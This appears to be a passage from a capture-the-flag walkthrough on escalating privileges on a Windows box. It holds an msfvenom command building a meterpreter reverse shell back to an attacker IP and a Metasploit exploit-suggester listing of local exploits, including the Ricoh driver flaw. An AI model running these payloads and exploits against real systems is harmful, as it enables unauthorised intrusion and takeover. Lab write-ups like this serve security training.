PrivEsc

Method 1 - Exploiting Ricoh Printer Driver

Using meterpreter:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.7 LPORT=4444 -f exe -o rev.exe

After uploading it we catch a shell on msfconsole.

Running post exploitation module linux exploit suggester

 #   Name                                                           Potentially Vulnerable?  Check Result
 -   ----                                                           -----------------------  ------------
 1   exploit/windows/local/bypassuac_comhijack                      Yes                      The target appears to be vulnerable.
 2   exploit/windows/local/bypassuac_dotnet_profiler                Yes                      The target appears to be vulnerable.
 3   exploit/windows/local/bypassuac_eventvwr                       Yes                      The target appears to be vulnerable.
 4   exploit/windows/local/bypassuac_fodhelper                      Yes                      The target appears to be vulnerable.
 5   exploit/windows/local/bypassuac_sdclt                          Yes                      The target appears to be vulnerable.
 6   exploit/windows/local/bypassuac_sluihijack                     Yes                      The target appears to be vulnerable.
 7   exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move   Yes                      The target appears to be vulnerable. Vulnerable Windows 10 v1507 build detected!
 8   exploit/windows/local/cve_2020_1048_printerdemon               Yes                      The target appears to be vulnerable.
 9   exploit/windows/local/cve_2020_1337_printerdemon               Yes                      The target appears to be vulnerable.
 10  exploit/windows/local/cve_2021_40449                           Yes                      The target appears to be vulnerable. Vulnerable Windows 10 v1507 build detected!
 11  exploit/windows/local/cve_2022_21999_spoolfool_privesc         Yes                      The target appears to be vulnerable.
 12  exploit/windows/local/cve_2024_30088_authz_basep               Yes                      The target appears to be vulnerable. Version detected: Windows 10+ Build 10240
 13  exploit/windows/local/ms16_032_secondary_logon_handle_privesc  Yes                      The service is running, but could not be validated.
 14  exploit/windows/local/ricoh_driver_privesc                     Yes                      The target appears to be vulnerable. Ricoh driver directory has full permissions
 15  exploit/windows/local/tokenmagic                               Yes                      The target appears to be vulnerable.

Running the ricoh_driver_privesc

It stops here. Checking sessions on Windows

Our session which is rev.exe in on session 0. Migrating to a different one works

Method 2 - PrintNightmare

PreviousEnumerationNextManager

Last updated